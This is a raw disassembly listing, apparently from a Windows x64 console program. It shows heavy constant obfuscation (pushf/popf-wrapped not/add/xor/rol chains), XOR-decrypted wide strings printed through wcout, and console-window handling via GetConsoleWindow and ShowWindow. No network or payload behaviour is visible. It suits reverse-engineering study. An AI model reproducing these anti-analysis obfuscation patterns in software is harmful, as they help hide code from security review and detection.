lea rax, [rsp + 0x5f0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x7f0], xmm0
mov rax, qword [rsp + 0x170]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x7e0], xmm0
movdqa xmm0, xmmword [rsp + 0x7e0]
pxor xmm0, xmmword [rsp + 0x7f0]
movdqa xmmword [rsp + 0x800], xmm0
mov rax, qword [rsp + 0x170]
movdqa xmm0, xmmword [rsp + 0x800]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x200]
call fcn.1402803fb
mov qword [rsp + 0x208], rax
lea rdx, [0x1b3a8a8b3]
pushf
sub rdx, 0x739ffd03
popf
mov rcx, qword [rsp + 0x208]
jmp 0x1401ea053
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
jmp 0x1401ec2de
lea rax, [rsp + 0xe8]
mov rdi, rax
xor eax, eax
mov ecx, 0x4ef02acb
pushf
not ecx
add ecx, 0xf82b211b
xor ecx, 0xd74bdc9d
rol ecx, 0x5e
popf
pushf
not ecx
add ecx, 0x84c8161f
xor ecx, 0xa52bcb6a
rol ecx, 0x86
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xe0]
add rax, 0x58
mov r9d, 0xfbe7e064
pushf
not r9d
add r9d, 0x87eecf87
xor r9d, 0xd22134da
rol r9d, 0xcb
popf
pushf
not r9d
add r9d, 0xd2795923
xor r9d, 0xf89f6ccd
rol r9d, 9
popf
pushf
not r9d
add r9d, 0xbd8b8252
xor r9d, 0xaf95895b
rol r9d, 0x3f
popf
lea r8, [rsp + 0xe8]
mov rdx, rax
mov rcx, qword [rsp + 0xb90]
call fcn.140361bad
movzx eax, al
test eax, eax
je 0x1401ea193
push rax
pushf
mov eax, 0xdbe59638
pushf
not eax
add eax, 0x91225f8c
xor eax, 0xea359d8b
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xdd73457f
xor eax, 0x9235c9e8
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xd73e6e74
xor eax, 0x8186d475
rol eax, 0
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x94db2f72
pushf
not eax
add eax, 0xc08441ee
xor eax, 0xc5bc988e
rol eax, 0x31
popf
pushf
not eax
add eax, 0x986c370b
xor eax, 0x82805aab
rol eax, 0xde
popf
jmp 0x1401e6e51
movzx eax, word [rsp + 0xe8]
test eax, eax
jne 0x1401ea209
push rax
pushf
mov eax, 0x7fcb1f1a
pushf
not eax
add eax, 0x81bb4dc5
xor eax, 0xc3317ebe
rol eax, 0x68
popf
pushf
not eax
add eax, 0x8ac23649
xor eax, 0xc9722f06
rol eax, 0xd9
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x3bbd4695
pushf
not eax
add eax, 0xb71ac32f
xor eax, 0xb93f9ee2
rol eax, 0x72
popf
pushf
not eax
add eax, 0x8fc29cab
xor eax, 0x859096cd
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xd3fdf213
xor eax, 0xa9b4abd2
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xf3af893c
xor eax, 0xa3fbe293
rol eax, 0x7f
popf
jmp 0x1401e6e51
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0xb195e474
pushf
not edx
add edx, 0xe20f6b71
xor edx, 0xd990292d
rol edx, 0xf4
popf
pushf
not edx
add edx, 0x9b9d7b6c
xor edx, 0x9ededcd1
rol edx, 0x8b
popf
mov rcx, rax
jmp 0x1401ea29c
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x29]
mov rdi, rax
xor eax, eax
mov ecx, 0xe5949698
pushf
not ecx
add ecx, 0x97ea65f7
xor ecx, 0xa7522888
rol ecx, 0x71
popf
pushf
not ecx
add ecx, 0xbaca52c7
xor ecx, 0xcb8e6449
rol ecx, 0x45
popf
pushf
not ecx
add ecx, 0xbd944c5b
xor ecx, 0xab8aa496
rol ecx, 0x75
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2a]
mov rdi, rax
xor eax, eax
mov ecx, 0xe4814b41
pushf
not ecx
add ecx, 0xe717e025
xor ecx, 0xaac09eaa
rol ecx, 0xfe
popf
pushf
not ecx
add ecx, 0x852ca83a
xor ecx, 0x98a55ec9
rol ecx, 0xcf
popf
pushf
not ecx
add ecx, 0xf5e52184
xor ecx, 0xbc2ddfaa
rol ecx, 0x46
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x278], rax
movzx eax, byte [rsp + 0x29]
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x2a]
mov byte [rsp + 0x80], al
movabs rax, 0xadef0a9f974041bc
pushf
not rax
add rax, 0x6ce418c2
xor rax, 0x5c43a409
rol rax, 0x84
popf
pushf
not rax
add rax, 0x4d9c4a9a
xor rax, 0x547aa8dd
rol rax, 0xce
popf
pushf
not rax
add rax, 0x5210b6e2
xor rax, 0x68e99406
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x6bf6246f
xor rax, 0x6d3d2bfd
rol rax, 0x93
popf
mov qword [rsp + 0x280], rax
movabs rax, 0x44e24050a94f2842
pushf
not rax
add rax, 0x41615608
xor rax, 0x72b860dd
rol rax, 0x14
popf
pushf
not rax
add rax, 0x67959257
xor rax, 0x62c8e5f7
rol rax, 0xc4
popf
mov qword [rsp + 0x288], rax
movabs rax, 0x29d440fc81b6a501
pushf
not rax
add rax, 0x610e42b1
xor rax, 0x4903e30a
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x564beb98
xor rax, 0x5827eb90
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x5213c904
xor rax, 0x717378e0
rol rax, 0xf4
popf
mov qword [rsp + 0x290], rax
movabs rax, 0xec9ebefdce9d0d00
pushf
not rax
add rax, 0x48483499
xor rax, 0x41c23946
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x435f0f0e
xor rax, 0x61c99a43
rol rax, 0x44
popf
mov qword [rsp + 0x298], rax
movabs rax, 0xa04dbf3e3ecd956b
pushf
not rax
add rax, 0x72f974e5
xor rax, 0x5f0617db
rol rax, 0x29
popf
pushf
not rax
add rax, 0x569e22c9
xor rax, 0x604cdea2
rol rax, 0xf8
popf
mov qword [rsp + 0x2a0], rax
movabs rax, 0x8427adc83d6da80a
pushf
not rax
add rax, 0x6d27d7b1
xor rax, 0x61f3b4bd
rol rax, 0x81
popf
pushf
not rax
add rax, 0x4888d271
xor rax, 0x69943c19
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x7c3278b1
xor rax, 0x59be115a
rol rax, 2
popf
pushf
not rax
add rax, 0x54048f1b
xor rax, 0x71e579a7
rol rax, 0x18
popf
mov qword [rsp + 0x2a8], rax
movabs rax, 0x31c2b92deb28f687
pushf
not rax
add rax, 0x6a2754ba
xor rax, 0x47680470
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x55d435af
xor rax, 0x5a796773
rol rax, 0x6c
popf
mov qword [rsp + 0x2b0], rax
movabs rax, 0xf47833f6e8e09e31
pushf
not rax
add rax, 0x5769dac3
xor rax, 0x5337b794
rol rax, 6
popf
pushf
not rax
add rax, 0x44652608
xor rax, 0x40bc53e0
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x7f49e3f4
xor rax, 0x5632edd5
rol rax, 1
popf
pushf
not rax
add rax, 0x5563f259
xor rax, 0x72a6a4d5
rol rax, 0x21
popf
mov qword [rsp + 0x2b8], rax
movabs rax, 0xf4c502e8c2183c6b
pushf
not rax
add rax, 0x536f355f
xor rax, 0x5cc0653d
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x580d840d
xor rax, 0x79b65018
rol rax, 0x68
popf
pushf
not rax
add rax, 0x65d6f720
xor rax, 0x61e58184
rol rax, 0xf1
popf
mov qword [rsp + 0x490], rax
movabs rax, 0x7cab3a680c042317
pushf
not rax
add rax, 0x48576bb8
xor rax, 0x602dfa31
rol rax, 0x99
popf
pushf
not rax
add rax, 0x7ed6b479
xor rax, 0x633a7c37
rol rax, 0x14
popf
pushf
not rax
add rax, 0x640cc702
xor rax, 0x700fabc4
rol rax, 0xa8
popf
mov qword [rsp + 0x498], rax
movabs rax, 0xe784850539eb481a
pushf
not rax
add rax, 0x4c3afc67
xor rax, 0x763d007e
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x5d418ee6
xor rax, 0x44725559
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x50ac290f
xor rax, 0x572d0e16
rol rax, 0x31
popf
pushf
not rax
add rax, 0x7703fbc8
xor rax, 0x65deaca8
rol rax, 0x38
popf
mov qword [rsp + 0x4a0], rax
movabs rax, 0xcbcdb343b664caf8
pushf
not rax
add rax, 0x51166584
xor rax, 0x5f262f75
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x44533673
xor rax, 0x70ac0fbf
rol rax, 9
popf
pushf
not rax
add rax, 0x4d8ba7d2
xor rax, 0x61209cf1
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x403e6432
xor rax, 0x584c8d4a
rol rax, 0x6b
popf
mov qword [rsp + 0x4a8], rax
movabs rax, 0x66259bf44659de75
pushf
not rax
add rax, 0x680de7c5
xor rax, 0x744c4431
rol rax, 0xa4
popf
pushf
not rax
add rax, 0x6b2f3acf
xor rax, 0x65e8cd44
rol rax, 0x21
popf
mov qword [rsp + 0x4b0], rax
movabs rax, 0x952e64033f93672
pushf
not rax
add rax, 0x7309d5f4
xor rax, 0x64ff65d7
rol rax, 0xe9
popf
pushf
not rax
add rax, 0x5759e414
xor rax, 0x5d757477
rol rax, 0xd5
popf
mov qword [rsp + 0x4b8], rax
movabs rax, 0x5f02d36a3532dd04
pushf
not rax
add rax, 0x556f93f2
xor rax, 0x66d9acf5
rol rax, 0xe
popf
pushf
not rax
add rax, 0x6c5781c6
xor rax, 0x65482310
rol rax, 0xd7
popf
mov qword [rsp + 0x4c0], rax
movabs rax, 0x1e19da23afe43e6e
pushf
not rax
add rax, 0x44598312
xor rax, 0x45daaeda
rol rax, 0x13
popf
pushf
not rax
add rax, 0x44677ed8
xor rax, 0x5ef9b24a
rol rax, 0x63
popf
pushf
not rax
add rax, 0x5fb9d741
xor rax, 0x40a3a86a
rol rax, 0x63
popf
mov qword [rsp + 0x4c8], rax
lea rax, [rsp + 0x2b]
mov rdi, rax
xor eax, eax
mov ecx, 0xc5c0cf61
pushf
not ecx
add ecx, 0xd067e8b7
xor ecx, 0xc768de60
rol ecx, 0xb6
popf
pushf
not ecx
add ecx, 0xec421be4
xor ecx, 0xbebfb41c
rol ecx, 0xde
popf
pushf
not ecx
add ecx, 0xa38e9894
xor ecx, 0x83e45393
rol ecx, 0x17
popf
pushf
not ecx
add ecx, 0xc536a881
xor ecx, 0xbf7a5d84
rol ecx, 0xde
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x2b]
mov byte [rsp + 0x88], al
movdqa xmm0, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0x820], xmm0
movdqa xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x810], xmm0
movdqa xmm0, xmmword [rsp + 0x810]
pxor xmm0, xmmword [rsp + 0x820]
movdqa xmmword [rsp + 0x830], xmm0
movdqa xmm0, xmmword [rsp + 0x830]
movdqa xmmword [rsp + 0x280], xmm0
lea rax, [rsp + 0x290]
mov qword [rsp + 0x178], rax
lea rax, [rsp + 0x4a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x850], xmm0
mov rax, qword [rsp + 0x178]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x840], xmm0
movdqa xmm0, xmmword [rsp + 0x840]
pxor xmm0, xmmword [rsp + 0x850]
movdqa xmmword [rsp + 0x9d0], xmm0
mov rax, qword [rsp + 0x178]
movdqa xmm0, xmmword [rsp + 0x9d0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x4b0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x880], xmm0
mov rax, qword [rsp + 0x180]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x870], xmm0
movdqa xmm0, xmmword [rsp + 0x870]
pxor xmm0, xmmword [rsp + 0x880]
movdqa xmmword [rsp + 0x890], xmm0
mov rax, qword [rsp + 0x180]
movdqa xmm0, xmmword [rsp + 0x890]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x188], rax
lea rax, [rsp + 0x4c0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x8b0], xmm0
mov rax, qword [rsp + 0x188]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x8a0], xmm0
movdqa xmm0, xmmword [rsp + 0x8a0]
pxor xmm0, xmmword [rsp + 0x8b0]
movdqa xmmword [rsp + 0x8c0], xmm0
mov rax, qword [rsp + 0x188]
movdqa xmm0, xmmword [rsp + 0x8c0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x280]
mov qword [rsp + 0x210], rax
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x278]
call fcn.1402803fb
mov qword [rsp + 0x220], rax
lea rdx, [0x1aaf15a1c]
pushf
sub rdx, 0x6ae8ae6c
popf
mov rcx, qword [rsp + 0x220]
jmp 0x1401eaaef
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
jmp 0x1401ec2de
movzx eax, word [rsp + 0xe8]
xor edx, edx
mov ecx, 0x2f3cf3e4
pushf
not ecx
add ecx, 0xfa0202a4
xor ecx, 0xd249a338
rol ecx, 0xf4
popf
pushf
not ecx
add ecx, 0xa933791f
xor ecx, 0xbff05404
rol ecx, 0xff
popf
pushf
not ecx
add ecx, 0xa43e756c
xor ecx, 0xfc683af3
rol ecx, 0x47
popf
pushf
not ecx
add ecx, 0xeeab3fa7
xor ecx, 0x87d6675e
rol ecx, 0x2e
popf
div rcx
inc rax
mov qword [rsp + 0x228], rax
mov eax, 0xd9d82394
pushf
not eax
add eax, 0x9f10b656
xor eax, 0xc7c4dcc3
rol eax, 0x80
popf
pushf
not eax
add eax, 0xb9f024ed
xor eax, 0x8735a94e
rol eax, 0x74
popf
pushf
not eax
add eax, 0xb71b6f57
xor eax, 0xcf619e49
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe7923f5b
xor eax, 0xf90f15be
rol eax, 0xad
popf
mov rcx, qword [rsp + 0x228]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14037a94a
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x110], rax
movzx eax, word [rsp + 0xe8]
add rax, 2
mov qword [rsp + 0x238], rax
mov rdi, qword [rsp + 0x110]
xor eax, eax
mov rcx, qword [rsp + 0x238]
rep stosb byte [rdi], al
movzx eax, word [rsp + 0xe8]
mov r9d, eax
mov r8, qword [rsp + 0x110]
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xb90]
call fcn.140361bad
movzx eax, al
test eax, eax
jne 0x1401eacee
push rax
pushf
mov eax, 0x67ef8f30
pushf
not eax
add eax, 0xc360825f
xor eax, 0xf5bb6e20
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xbcbcfe72
xor eax, 0xdccd3bab
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xc1ac323b
xor eax, 0xe7f34ca9
rol eax, 0xa3
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x8e385bdb
pushf
not eax
add eax, 0xd9521943
xor eax, 0xe8946ce3
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xd9e6e9bd
xor eax, 0x8f300bdf
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xe84bbf73
xor eax, 0xf48c186c
rol eax, 0x62
popf
jmp 0x1401e6e51
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x19ed0e7b
pushf
not edx
add edx, 0xe1ecf2c7
xor edx, 0xbd734777
rol edx, 0xef
popf
pushf
not edx
add edx, 0xe5e7d33a
xor edx, 0xd2774fb0
rol edx, 0x56
popf
pushf
not edx
add edx, 0xaf0b4d68
xor edx, 0xd34ae38b
rol edx, 9
popf
pushf
not edx
add edx, 0xaede1b01
xor edx, 0xc8210566
rol edx, 0xd3
popf
mov rcx, rax
jmp 0x1401ead98
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x2c]
mov rdi, rax
xor eax, eax
mov ecx, 0xb85cc57e
pushf
not ecx
add ecx, 0xabd966a6
xor ecx, 0xce8615a1
rol ecx, 0x4c
popf
pushf
not ecx
add ecx, 0xa440695e
xor ecx, 0xf8d8057e
rol ecx, 0x2b
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2d]
mov rdi, rax
xor eax, eax
mov ecx, 0x13d4cb1c
pushf
not ecx
add ecx, 0xd734db62
xor ecx, 0xd19eb0b3
rol ecx, 0xda
popf
pushf
not ecx
add ecx, 0xd5f4c8ac
xor ecx, 0xfda8ce20
rol ecx, 0x7d
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x248], rax
movzx eax, byte [rsp + 0x2c]
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x2d]
mov byte [rsp + 0x98], al
movabs rax, 0x52a3f2d89e948ad7
pushf
not rax
add rax, 0x7236223d
xor rax, 0x768366ca
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x43b716a4
xor rax, 0x7cd6fede
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x72173966
xor rax, 0x6fed976c
rol rax, 0x86
popf
pushf
not rax
add rax, 0x74ba90be
xor rax, 0x63485922
rol rax, 0x46
popf
mov qword [rsp + 0x2c0], rax
movabs rax, 0x8c3cb71a540132e3
pushf
not rax
add rax, 0x4ef85aaa
xor rax, 0x6d5d3a1e
rol rax, 0x57
popf
pushf
not rax
add rax, 0x66bfefc9
xor rax, 0x437b7171
rol rax, 0x60
popf
pushf
not rax
add rax, 0x5dc347c2
xor rax, 0x7d757c52
rol rax, 0xd
popf
mov qword [rsp + 0x2c8], rax
movabs rax, 0x89fdbc5155815405
pushf
not rax
add rax, 0x728137d2
xor rax, 0x793ac326
rol rax, 0x84
popf
pushf
not rax
add rax, 0x7b361e1d
xor rax, 0x48f24641
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x622314a7
xor rax, 0x7a98bf30
rol rax, 0x1a
popf
mov qword [rsp + 0x2d0], rax
movabs rax, 0x350d6e41d4b51d44
pushf
not rax
add rax, 0x741fce15
xor rax, 0x6f1d989a
rol rax, 0xca
popf
pushf
not rax
add rax, 0x6a2b8eb1
xor rax, 0x702df417
rol rax, 0x5d
popf
mov qword [rsp + 0x2d8], rax
movabs rax, 0x1a46ebb4adc4a0c5
pushf
not rax
add rax, 0x6706639e
xor rax, 0x4e3ccadd
rol rax, 5
popf
pushf
not rax
add rax, 0x69da2573
xor rax, 0x5e99bc17
rol rax, 0xb7
popf
mov qword [rsp + 0x2e0], rax
movabs rax, 0xb9deb3cae037e1db
pushf
not rax
add rax, 0x73a4cf4e
xor rax, 0x620be7b2
rol rax, 0x74
popf
pushf
not rax
add rax, 0x7cd67a03
xor rax, 0x6f249e9a
rol rax, 9
popf
pushf
not rax
add rax, 0x7e9a5bdc
xor rax, 0x42944f55
rol rax, 0xfe
popf
mov qword [rsp + 0x2e8], rax
movabs rax, 0x20d7322aca1d4b7c
pushf
not rax
add rax, 0x516d6c8c
xor rax, 0x51b1d494
rol rax, 0xda
popf
pushf
not rax
add rax, 0x4a6365d8
xor rax, 0x408faded
rol rax, 0xcb
popf
mov qword [rsp + 0x2f0], rax
movabs rax, 0xbd56a31ad1c4956d
pushf
not rax
add rax, 0x7b2a7c94
xor rax, 0x5afef64e
rol rax, 0xc7
popf
pushf
not rax
add rax, 0x634bb73e
xor rax, 0x7f527436
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x718ed77b
xor rax, 0x67528c3c
rol rax, 0x49
popf
pushf
not rax
add rax, 0x6babe9e3
xor rax, 0x576a51ba
rol rax, 0x31
popf
mov qword [rsp + 0x2f8], rax
movabs rax, 0xe9e72635f5b2f679
pushf
not rax
add rax, 0x5dfee819
xor rax, 0x764b7b86
rol rax, 0xde
popf
pushf
not rax
add rax, 0x6a034312
xor rax, 0x6b9e6bcd
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x6ac03cf0
xor rax, 0x45718594
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x7477aee9
xor rax, 0x6a32ac32
rol rax, 0x54
popf
mov qword [rsp + 0x4d0], rax
movabs rax, 0xf144ed275f784021
pushf
not rax
add rax, 0x61442125
xor rax, 0x45fb4fc2
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x550b8ef5
xor rax, 0x71858ede
rol rax, 0x97
popf
pushf
not rax
add rax, 0x73869df1
xor rax, 0x411faf9f
rol rax, 0xca
popf
mov qword [rsp + 0x4d8], rax
movabs rax, 0x971faff75695e580
pushf
not rax
add rax, 0x591c7c9f
xor rax, 0x47bb37ec
rol rax, 0x42
popf
pushf
not rax
add rax, 0x5e4f8aa1
xor rax, 0x7d999241
rol rax, 0x2a
popf
mov qword [rsp + 0x4e0], rax
movabs rax, 0xe5237c972f4ab5d6
pushf
not rax
add rax, 0x72ff107c
xor rax, 0x459a1af9
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x4e154745
xor rax, 0x5f9505e1
rol rax, 0x48
popf
mov qword [rsp + 0x4e8], rax
movabs rax, 0x9656befaf03b2ed8
pushf
not rax
add rax, 0x724047bc
xor rax, 0x72850307
rol rax, 0x53
popf
pushf
not rax
add rax, 0x5bcdca06
xor rax, 0x7505ae0b
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x61443764
xor rax, 0x5f86c75e
rol rax, 0xdd
popf
mov qword [rsp + 0x4f0], rax
movabs rax, 0x42540a17800f7ee4
pushf
not rax
add rax, 0x707ad8c6
xor rax, 0x525b93f4
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x65773c3e
xor rax, 0x51f812ab
rol rax, 0x87
popf
mov qword [rsp + 0x4f8], rax
movabs rax, 0xb1b1c079ba77061b
pushf
not rax
add rax, 0x6c562b4c
xor rax, 0x63496e14
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x7cd7e361
xor rax, 0x4ae41fc2
rol rax, 0xe0
popf
mov qword [rsp + 0x500], rax
movabs rax, 0x994998f422fe3da6
pushf
not rax
add rax, 0x4a8cf789
xor rax, 0x66e43cfc
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x47e539e2
xor rax, 0x5f7c9c01
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x68e90063
xor rax, 0x5808fe86
rol rax, 0x86
popf
pushf
not rax
add rax, 0x73d25b54
xor rax, 0x54e98324
rol rax, 0x49
popf
mov qword [rsp + 0x508], rax
lea rax, [rsp + 0x2e]
mov rdi, rax
xor eax, eax
mov ecx, 0xc2c00f0f
pushf
not ecx
add ecx, 0xa4afb7e6
xor ecx, 0xc051c3a0
rol ecx, 0x48
popf
pushf
not ecx
add ecx, 0xa59f6717
xor ecx, 0x8071d97c
rol ecx, 4
popf
pushf
not ecx
add ecx, 0xdc21ca47
xor ecx, 0xcd63ee60
rol ecx, 0x77
popf
pushf
not ecx
add ecx, 0xbc29f1b4
xor ecx, 0xd3f4a344
rol ecx, 0x8b
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x2e]
mov byte [rsp + 0xa0], al
movdqa xmm0, xmmword [rsp + 0x4d0]
movdqa xmmword [rsp + 0x8e0], xmm0
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqa xmmword [rsp + 0x8d0], xmm0
movdqa xmm0, xmmword [rsp + 0x8d0]
pxor xmm0, xmmword [rsp + 0x8e0]
movdqa xmmword [rsp + 0x8f0], xmm0
movdqa xmm0, xmmword [rsp + 0x8f0]
movdqa xmmword [rsp + 0x2c0], xmm0
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x4e0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x910], xmm0
mov rax, qword [rsp + 0x190]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x900], xmm0
movdqa xmm0, xmmword [rsp + 0x900]
pxor xmm0, xmmword [rsp + 0x910]
movdqa xmmword [rsp + 0x920], xmm0
mov rax, qword [rsp + 0x190]
movdqa xmm0, xmmword [rsp + 0x920]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x198], rax
lea rax, [rsp + 0x4f0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x940], xmm0
mov rax, qword [rsp + 0x198]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x930], xmm0
movdqa xmm0, xmmword [rsp + 0x930]
pxor xmm0, xmmword [rsp + 0x940]
movdqa xmmword [rsp + 0x950], xmm0
mov rax, qword [rsp + 0x198]
movdqa xmm0, xmmword [rsp + 0x950]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x500]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x970], xmm0
mov rax, qword [rsp + 0x1a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x960], xmm0
movdqa xmm0, xmmword [rsp + 0x960]
pxor xmm0, xmmword [rsp + 0x970]
movdqa xmmword [rsp + 0x980], xmm0
mov rax, qword [rsp + 0x1a0]
movdqa xmm0, xmmword [rsp + 0x980]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x240], rax
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x248]
call fcn.1402803fb
mov qword [rsp + 0x250], rax
lea rdx, [0x1aa763a6a]
pushf
sub rdx, 0x6a6d8eba
popf
mov rcx, qword [rsp + 0x250]
jmp 0x1401eb5ae
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
jmp 0x1401ec2de
xor eax, eax
mov word [rsp + 0xe8], ax
mov rax, qword [rsp + 0xe0]
add rax, 0x58
mov r9d, 0x464b27b0
pushf
not r9d
add r9d, 0xad7d785a
xor r9d, 0xa1065c1e
rol r9d, 0xd7
popf
pushf
not r9d
add r9d, 0xdca91f3f
xor r9d, 0x80c6053c
rol r9d, 0x82
popf
lea r8, [rsp + 0xe8]
mov rdx, rax
mov rcx, qword [rsp + 0xb90]
call fcn.1402da1c1
movzx eax, al
test eax, eax
jne 0x1401eb692
push rax
pushf
mov eax, 0xaf9a63d6
pushf
not eax
add eax, 0xeac4437d
xor eax, 0xae78b79a
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x8b87fcbb
xor eax, 0xe0fcbaf7
rol eax, 0xa0
popf
jmp 0x1401e6e51
push rax
pushf
mov eax, 0x1990c4a4
pushf
not eax
add eax, 0x988b0434
xor eax, 0xab2d8ee2
rol eax, 0x21
popf
pushf
not eax
add eax, 0x8d7e5f66
xor eax, 0xd6096023
rol eax, 0x52
popf
pushf
not eax
add eax, 0xb890c796
xor eax, 0xd50b4e3e
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xe077773c
xor eax, 0x8d528ccb
rol eax, 0xb8
popf
jmp 0x1401e6e51
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0xd795e23
pushf
not edx
add edx, 0xcc892735
xor edx, 0x838603fd
rol edx, 0xa2
popf
pushf
not edx
add edx, 0x9241f63c
xor edx, 0x899bee35
rol edx, 0x67
popf
pushf
not edx
add edx, 0xaf6fa2f7
xor edx, 0xa5f48e9e
rol edx, 0xda
popf
pushf
not edx
add edx, 0x9df95519
xor edx, 0xac9cade3
rol edx, 0x6c
popf
mov rcx, rax
jmp 0x1401eb74f
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x2f]
mov rdi, rax
xor eax, eax
mov ecx, 0xcd5d843
pushf
not ecx
add ecx, 0x8de4cc9a
xor ecx, 0xab189bb3
rol ecx, 0xae
popf
pushf
not ecx
add ecx, 0xf5a7b767
xor ecx, 0x87c885c7
rol ecx, 0xd1
popf
pushf
not ecx
add ecx, 0x91ea0d5a
xor ecx, 0xbf9c500c
rol ecx, 0x19
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x30]
